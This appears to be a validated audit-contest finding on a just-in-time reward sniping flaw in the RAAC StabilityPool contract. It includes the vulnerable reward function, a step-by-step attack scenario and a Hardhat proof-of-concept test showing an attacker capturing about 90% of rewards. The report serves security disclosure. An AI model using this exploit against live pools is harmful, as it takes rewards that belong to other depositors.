Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

StabilityPool RAAC Rewards Vulnerability

Summary

A critical vulnerability has been identified in the StabilityPool contract's RAAC rewards distribution mechanism. The current implementation allows malicious users to perform a "deposit-and-withdraw" attack to unfairly obtain a disproportionate share of RAAC rewards without any risk to their principal.

Technical Details

Vulnerable Code

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits\[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

Attack Scenario

  1. Alice (victim) deposits 100 rTokens and waits for a period

  2. RAAC rewards accumulate in the pool (e.g., 1000 RAAC)

  3. Bob (attacker) observes large RAAC rewards

  4. Bob deposits 900 rTokens (90% of total deposits)

  5. Bob immediately withdraws, claiming 90% of accumulated rewards

  6. Bob receives their full principal back plus ~900 RAAC tokens

  7. Alice, despite being an early depositor, only receives ~100 RAAC tokens

Proof of Concept

describe("RAAC Rewards Sniping Attack", function () {
beforeEach(async function () {
const depositAmount = ethers.parseEther("1000");
// Setup initial balances for victim (user1) and attacker (user2)
await crvusd.mint(user1.address, depositAmount);
await crvusd.mint(user2.address, depositAmount);
// Approve and deposit crvUSD to get rTokens
await crvusd.connect(user1).approve(lendingPool.target, depositAmount);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user1).deposit(depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
// Approve rTokens for StabilityPool
await rToken.connect(user1).approve(stabilityPool.target, depositAmount);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount);
});
it("demonstrates the reward sniping vulnerability", async function () {
// 1. Victim (user1) makes initial deposit
const victimDeposit = ethers.parseEther("100");
await stabilityPool.connect(user1).deposit(victimDeposit);
// Record initial RAAC balances
const victimInitialRAAC = await raacToken.balanceOf(user1.address);
const attackerInitialRAAC = await raacToken.balanceOf(user2.address);
// 2. Time passes and RAAC rewards accumulate
// Instead of direct minting, we'll use the RAACMinter's emission mechanism
await ethers.provider.send("evm_increaseTime", [86400 * 7]); // 7 days to accumulate rewards
await ethers.provider.send("evm_mine");
await raacMinter.tick(); // This will mint rewards to the stability pool
// 3. Attacker (user2) executes the attack
const attackerDeposit = ethers.parseEther("900");
await stabilityPool.connect(user2).deposit(attackerDeposit);
// Record rewards before withdrawal
const attackerRewardsBeforeWithdraw = await stabilityPool.calculateRaacRewards(user2.address);
const victimRewardsBeforeAttackerWithdraw = await stabilityPool.calculateRaacRewards(user1.address);
// 4. Attacker immediately withdraws
const attackerDETokenBalance = await deToken.balanceOf(user2.address);
await stabilityPool.connect(user2).withdraw(attackerDETokenBalance);
// 5. Victim withdraws
const victimDETokenBalance = await deToken.balanceOf(user1.address);
await stabilityPool.connect(user1).withdraw(victimDETokenBalance);
// Get final RAAC balances
const victimFinalRAAC = await raacToken.balanceOf(user1.address);
const attackerFinalRAAC = await raacToken.balanceOf(user2.address);
// Calculate actual rewards received
const victimRewardsReceived = victimFinalRAAC - victimInitialRAAC;
const attackerRewardsReceived = attackerFinalRAAC - attackerInitialRAAC;
const totalRewardsDistributed = victimRewardsReceived + attackerRewardsReceived;
console.log("\nReward Sniping Attack Results:");
console.log("Total RAAC rewards distributed:", ethers.formatEther(totalRewardsDistributed));
console.log("Victim's deposit ratio: 10%");
console.log("Attacker's deposit ratio: 90%");
console.log("Victim rewards received:", ethers.formatEther(victimRewardsReceived));
console.log("Attacker rewards received:", ethers.formatEther(attackerRewardsReceived));
// Verify the attack was successful
expect(attackerRewardsReceived).to.be.gt(victimRewardsReceived * 5n,
"Attacker should receive significantly more rewards than victim");
expect(victimRewardsReceived).to.be.lt(totalRewardsDistributed * 20n / 100n,
"Victim should receive less than 20% of rewards despite being in pool longer");
expect(attackerRewardsReceived).to.be.gt(totalRewardsDistributed * 80n / 100n,
"Attacker should receive more than 80% of rewards despite brief deposit time");
});
it("should show rewards are disproportionate to deposit duration", async function () {
// 1. Victim deposits and stays in pool for extended period
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
// 2. Time passes and rewards accumulate through RAACMinter
await ethers.provider.send("evm_increaseTime", [86400 * 7]); // 7 days
await ethers.provider.send("evm_mine");
await raacMinter.tick();
// 3. Attacker deposits larger amount briefly
await stabilityPool.connect(user2).deposit(ethers.parseEther("900"));
// 4. Record reward calculations
const victimRewards = await stabilityPool.calculateRaacRewards(user1.address);
const attackerRewards = await stabilityPool.calculateRaacRewards(user2.address);
const totalRewards = victimRewards + attackerRewards;
// 5. Verify reward distribution ignores time component
const victimShare = Number(ethers.formatUnits(victimRewards * 100n / totalRewards, 0));
const attackerShare = Number(ethers.formatUnits(attackerRewards * 100n / totalRewards, 0));
console.log("\nReward Distribution Analysis:");
console.log("Victim's reward share:", victimShare, "%");
console.log("Attacker's reward share:", attackerShare, "%");
expect(attackerShare).to.be.gt(80, "Attacker should get >80% share despite just joining");
expect(victimShare).to.be.lt(20, "Victim should get <20% share despite being in longer");
});
});
Reward Sniping Attack Results:
Total RAAC rewards distributed: 4.784722222222222204
Victim's deposit ratio: 10%
Attacker's deposit ratio: 90%
Victim rewards received: 0.60347222222222222
Attacker rewards received: 4.181249999999999984
✔ demonstrates the reward sniping vulnerability
Reward Distribution Analysis:
Victim's reward share: 9 %
Attacker's reward share: 90 %
✔ should show rewards are disproportionate to deposit duration

Conclusion

The StabilityPool's reward distribution mechanism contains a serious economic vulnerability that requires immediate attention. While the contract remains technically secure, the economic implications of this vulnerability could severely impact user trust and protocol sustainability.
We strongly recommend implementing the suggested fixes before accumulating significant rewards in the pool.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.